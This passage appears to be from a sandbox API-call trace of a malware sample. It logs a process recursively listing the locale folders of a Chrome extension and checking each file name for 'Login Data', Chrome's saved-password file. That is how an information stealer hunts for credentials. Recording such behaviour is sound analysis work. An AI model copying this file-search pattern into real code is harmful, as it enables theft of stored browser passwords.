IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0056.572] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.572] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.572] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.572] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.572] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.572] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.572] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.573] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.573] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.573] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.573] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.573] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.573] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.573] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.573] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.573] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.573] lstrlenA (lpString="\\") returned 1 [0056.573] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.573] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.573] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.573] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.573] lstrlenA (lpString="de") returned 2 [0056.573] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.573] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.573] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0056.573] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.573] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0056.573] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0056.573] lstrlenA (lpString="\\*.*") returned 4 [0056.573] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.573] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0056.573] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0056.573] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.573] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.573] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.573] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.573] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.573] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.573] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.573] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.573] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.573] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.573] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.573] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.573] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.573] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.574] lstrlenA (lpString="\\") returned 1 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.574] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.574] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.574] lstrlenA (lpString="el") returned 2 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.574] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.574] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0056.574] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0056.574] lstrlenA (lpString="\\*.*") returned 4 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.574] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0056.574] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0056.574] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.574] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.574] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.574] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.574] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.574] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.574] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.574] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.574] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.574] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.574] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.574] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.574] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.574] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.574] lstrlenA (lpString="\\") returned 1 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.574] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.574] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.574] lstrlenA (lpString="en_GB") returned 5 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.574] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.574] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0056.574] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0056.574] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 134 [0056.574] lstrlenA (lpString="\\*.*") returned 4 [0056.574] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.575] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB" [0056.575] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*" [0056.575] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.575] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.575] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.575] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.575] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.575] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.575] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.575] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.575] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.575] LocalFree (hMem=0x2dc508) returned 0x0 [0056.575] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.575] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.575] lstrcmpiA (lpString1=".", lpString2="en_US") returned -1 [0056.575] lstrcmpiA (lpString1="..", lpString2="en_US") returned -1 [0056.575] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.575] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.575] lstrlenA (lpString="\\") returned 1 [0056.575] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.575] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.575] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.575] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.575] lstrlenA (lpString="en_US") returned 5 [0056.575] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.575] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.575] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0056.575] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.575] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0056.575] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 134 [0056.575] lstrlenA (lpString="\\*.*") returned 4 [0056.575] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc508 [0056.575] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US" [0056.575] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*" [0056.575] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.575] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.575] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.575] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.575] lstrcmpiA (lpString1="..", 